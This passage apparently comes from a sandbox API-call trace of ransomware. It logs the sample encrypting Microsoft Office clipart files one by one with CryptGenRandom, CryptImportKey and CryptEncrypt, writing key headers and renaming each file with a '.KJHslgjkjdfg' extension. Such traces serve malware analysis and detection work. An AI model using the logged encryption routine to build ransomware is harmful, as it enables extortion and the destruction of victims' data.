"c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.685] GetProcessHeap () returned 0x2ef0000 [0214.685] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.685] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0214.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.687] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.688] GetProcessHeap () returned 0x2ef0000 [0214.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.688] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.688] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.688] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.688] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.688] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.688] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.689] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.689] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.689] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1324, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1324, lpOverlapped=0x0) returned 1 [0214.690] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1330, dwBufLen=0x1330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1330) returned 1 [0214.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.691] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1330, lpOverlapped=0x0) returned 1 [0214.691] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.691] SetEndOfFile (hFile=0x130) returned 1 [0214.694] GetProcessHeap () returned 0x2ef0000 [0214.694] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.694] GetProcessHeap () returned 0x2ef0000 [0214.695] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.kjhslgjkjdfg")) returned 1 [0214.696] CloseHandle (hObject=0x130) returned 1 [0214.697] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0214.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.698] GetProcessHeap () returned 0x2ef0000 [0214.698] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.698] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.698] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0214.702] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.702] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.702] GetProcessHeap () returned 0x2ef0000 [0214.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.702] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.702] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.702] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.704] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1384, lpOverlapped=0x0) returned 1 [0214.705] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0214.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.705] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0214.705] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.705] SetEndOfFile (hFile=0x130) returned 1 [0214.708] GetProcessHeap () returned 0x2ef0000 [0214.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.708] GetProcessHeap () returned 0x2ef0000 [0214.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.kjhslgjkjdfg")) returned 1 [0214.710] CloseHandle (hObject=0x130) returned 1 [0214.710] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0214.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.712] GetProcessHeap () returned 0x2ef0000 [0214.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.712] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.712] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0214.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.714] GetProcessHeap () returned 0x2ef0000 [0214.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.714] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.714] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.715] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.715] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.715] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.715] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.715] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x864, lpOverlapped=0x0) returned 1 [0214.715] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x870, dwBufLen=0x870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x870) returned 1 [0214.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.716] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x870, lpOverlapped=0x0) returned 1 [0214.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.716] SetEndOfFile (hFile=0x130) returned 1 [0214.718] GetProcessHeap () returned 0x2ef0000 [0214.718] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.719] GetProcessHeap () returned 0x2ef0000 [0214.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.kjhslgjkjdfg")) returned 1 [0214.720] CloseHandle (hObject=0x130) returned 1 [0214.720] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1 [0214.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.721] GetProcessHeap () returned 0x2ef0000 [0214.721] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.721] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.721] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0214.723] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.723] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.723] GetProcessHeap () returned 0x2ef0000 [0214.723] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.723] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.723] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.723] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.723] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.724] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.724] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.724] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.724] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.724] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.724] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1172, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1172, lpOverlapped=0x0) returned 1 [0214.727] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1180, dwBufLen=0x1180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1180) returned 1 [0214.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.727] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1180, lpOverlapped=0x0) returned 1 [0214.728] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.728] SetEndOfFile (hFile=0x130) returned 1 [0214.731] GetProcessHeap () returned 0x2ef0000 [0214.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.731] GetProcessHeap () returned 0x2ef0000 [0214.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.kjhslgjkjdfg")) returned 1 [0214.733] CloseHandle (hObject=0x130) returned 1 [0214.733] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1 [0214.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.736] GetProcessHeap () returned 0x2ef0000 [0214.736] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.736] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.736] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0214.753] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, 